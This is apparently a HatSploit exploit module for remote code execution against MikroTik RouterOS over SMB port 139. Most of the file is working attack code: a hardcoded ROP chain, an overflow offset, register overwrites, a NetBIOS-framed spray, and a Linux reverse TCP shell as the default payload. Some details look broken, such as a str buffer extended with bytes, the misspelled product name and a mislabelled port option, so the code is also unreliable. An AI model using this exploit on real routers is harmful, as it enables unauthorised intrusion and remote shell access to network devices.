text: #!/usr/bin/env python3
  
  #
  # This module requires HatSploit: https://hatsploit.netlify.app
  # Current source: https://github.com/EntySec/HatSploit
  #
  
  import sys
  from struct import pack
  
  from hatsploit.lib.module import Module
  from hatsploit.utils.handler import Handler
  from hatsploit.utils.tcp import TCPClient
  
  
  class HatSploitModule(Module, TCPClient, Handler):
      details = {
          'Name': "MiktoTik RouterOS SMB RCE",
          'Module': "exploit/linux/mikrotik/routeros_smb_rce",
          'Authors': [
              'Ivan Nikolsky (enty8080) - module developer',
              'corelabs - vulnerability researcher',
              'corelabs - exploit developer'
          ],
          'Description': "MiktoTik RouterOS SMB Remote Code Execution.",
          'Platform': "linux",
          'Rank': "high"
      }
  
      payload = {
          'Value': "linux/x86/shell_reverse_tcp",
          'Categories': [
              'stager'
          ],
          'Architectures': [
              'x86',
              'x64'
          ],
          'Platforms': [
              'linux'
          ],
          'Types': None
      }
  
      options = {
          'HOST': {
              'Description': "Remote host.",
              'Value': None,
              'Type': "ip",
              'Required': True
          },
          'PORT': {
              'Description': "Remote host.",
              'Value': 139,
              'Type': "port",
              'Required': True
          }
      }
  
      NETBIOS_SESSION_MESSAGE = b"\x00"
      NETBIOS_SESSION_REQUEST = b"\x81"
      NETBIOS_SESSION_FLAGS = b"\x00"
  
      def connect(self, remote_host, remote_port):
          client = self.open_tcp(remote_host, remote_port)
  
          if client.connect():
              return client
          return None
  
      def exploit(self, remote_host, remote_port, payload):
          p = lambda x: pack('I', x)
  
          rop = ""
          rop += p(0x0804c39d)
          rop += p(0x08072000)
          rop += p(0xffffffff)
          rop += p(0x080664f5)
          rop += p(0x14000)
          rop += p(0x08066f24)
          rop += p(0x00000007)
          rop += p(0xffffffff)
          rop += p(0xffffffff)
          rop += p(0x0804e30f)
          rop += p(0x0000007d)
          rop += p(0x0804f94a)
          rop += p(0xffffe42e)
          rop += p(0xffffffff)
          rop += p(0x0)
          rop += p(0x0)
          rop += p(0x0804e30f)
          rop += p(0x08075802)
          rop += p(0x0804f94a)
          rop += p(0x0804e153)
  
          offset_to_regs = 83
  
          ebx = p(0x45454545)
          esi = p(0x45454545)
          edi = p(0x45454545)
          ebp = p(0x45454545)
          eip = p(0x0804886c)
  
          stage = b"\xff" * offset_to_regs + ebx + esi + edi + ebp + eip + rop
          header = pack("!ccH", self.NETBIOS_SESSION_REQUEST, self.NETBIOS_SESSION_FLAGS, len(stage))
          buffer = header + stage
  
          stage1 = self.connect(remote_host, remote_port)
          if stage1 is not None:
              stage1.send((self.NETBIOS_SESSION_MESSAGE + b"\x00\xeb\x02") * 4000 + b"\x90" * 16 + payload)
              stage1.disconnect()
  
          stage2 = self.connect_to_client(remote_host, remote_port)
          if stage2 is not None:
              stage2.send(buffer)
  
      def run(self):
          remote_host, remote_port = self.parse_options(self.options)
  
          self.print_process(f"Exploiting {remote_host}...")
          self.module_handle(
              host=remote_host,
              method="raw",
  
              sender=self.exploit,
              args=[remote_host, remote_port]
          )
  